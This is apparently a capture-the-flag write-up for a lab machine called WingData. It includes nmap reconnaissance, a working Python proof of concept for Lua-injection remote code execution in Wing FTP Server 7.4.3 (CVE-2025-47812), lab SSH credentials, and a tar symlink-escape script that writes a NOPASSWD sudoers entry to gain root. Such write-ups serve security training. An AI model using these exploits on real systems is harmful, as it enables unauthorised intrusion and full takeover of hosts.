Post

WingData

WingData

1/ Reconnaissance

1.1 Full TCP scan

1
2
3
4
5
nmap -Pn -p- --min-rate 2000 -T4 10.129.1.217

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

1.2 Service/version scan

1
2
3
4
5
nmap -Pn -sC -sV -p22,80 10.129.1.217

22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7
80/tcp open  http    Apache httpd 2.4.66
http-title: Did not follow redirect to http://wingdata.htb/

1.3 Resolve domain

Because this is virtual-host based, use --resolve or /etc/hosts.

1
2
curl -i --resolve wingdata.htb:80:10.129.1.217 http://wingdata.htb/
curl -i --resolve ftp.wingdata.htb:80:10.129.1.217 http://ftp.wingdata.htb/

or

1
2
echo "10.129.1.217 wingdata.htb" | sudo tee -a /etc/hosts
echo "10.129.1.217 ftp.wingdata.htb" | sudo tee -a /etc/hosts

2/ Initial Foothold (CVE-2025-47812)

2.1 Identify vulnerable version

1
2
3
curl -s --resolve ftp.wingdata.htb:80:10.129.1.217 http://ftp.wingdata.htb/login.html | rg -n "Wing FTP Server v"

Wing FTP Server v7.4.3

2.2 PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env python3
import requests, re

base = "http://10.129.1.217"
host = "ftp.wingdata.htb"
cmd = "whoami"

payload = (
    f"username=anonymous%00]]%0d"
    f"local+h+%3d+io.popen(\"{cmd}\")%0d"
    f"local+r+%3d+h%3aread(\"*a\")%0d"
    f"h%3aclose()%0dprint(r)%0d--&password="
)

headers = {
    "Host": host,
    "User-Agent": "Mozilla/5.0",
    "Content-Type": "application/x-www-form-urlencoded",
    "Origin": f"http://{host}",
    "Referer": f"http://{host}/login.html?lang=english",
    "Cookie": "client_lang=english",
}

r = requests.post(base + "/loginok.html", headers=headers, data=payload, timeout=10)
uid = re.search(r"UID=([^;]+)", r.headers.get("Set-Cookie", "")).group(1)

r2 = requests.get(
    base + "/dir.html",
    headers={"Host": host, "Cookie": f"UID={uid}", "User-Agent": "Mozilla/5.0"},
    timeout=10,
)
print(r2.text.split("<?xml")[0].strip())

3/ User Access

From the Wing FTP credential path:

  • Username: wacky
  • Password: !#7Blushing^*Bride5

3.1 Validate SSH access

1
2
3
4
ssh wacky@10.129.1.217

uid=1001(wacky) gid=1001(wacky) groups=1001(wacky)
hostname: wingdata

3.2 Retrieve user flag

1
cat /home/wacky/user.txt

4/ Privilege Escalation

4.1 Sudo rights

1
2
3
sudo -l

(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *

4.2 Read privileged restore script

1
sed -n '1,260p' /opt/backup_clients/restore_backup_clients.py

Key observation:

  • Root runs tarfile.extractall(path=staging_dir, filter="data") on attacker-controlled tar from /opt/backup_clients/backups/backup_<id>.tar.

4.3 Privesc PoC

Run this as wacky:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env python3
import tarfile, os, io

out = "/opt/backup_clients/backups/backup_1005.tar"
comp = "d" * 247
steps = "abcdefghijklmnop"
path = ""

with tarfile.open(out, "w") as tar:
    # Deep symlink chain
    for i in steps:
        d = tarfile.TarInfo(os.path.join(path, comp))
        d.type = tarfile.DIRTYPE
        tar.addfile(d)

        s = tarfile.TarInfo(os.path.join(path, i))
        s.type = tarfile.SYMTYPE
        s.linkname = comp
        tar.addfile(s)

        path = os.path.join(path, comp)

    # Overflow/escape path
    linkpath = os.path.join("/".join(steps), "l" * 254)
    t = tarfile.TarInfo(linkpath)
    t.type = tarfile.SYMTYPE
    t.linkname = "../" * len(steps)
    tar.addfile(t)

    # Escape symlink points into sudoers.d
    e = tarfile.TarInfo("escape")
    e.type = tarfile.SYMTYPE
    e.linkname = linkpath + "/../../../../../../../../../../etc/sudoers.d"
    tar.addfile(e)

    payload = b"wacky ALL=(ALL) NOPASSWD:ALL\n"
    f = tarfile.TarInfo("escape/wacky")
    f.type = tarfile.REGTYPE
    f.mode = 0o440
    f.size = len(payload)
    tar.addfile(f, io.BytesIO(payload))

print("made", out)

4.5 Trigger root extraction

1
2
3
4
5
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_1005.tar -r restore_test5

[+] Backup: backup_1005.tar
[+] Staging directory: /opt/backup_clients/restored_backups/restore_test5
[+] Extraction completed in /opt/backup_clients/restored_backups/restore_test5

4.6 Confirm root and read root flag

1
2
3
4
sudo -n id
sudo -n cat /root/root.txt

uid=0(root) gid=0(root) groups=0(root)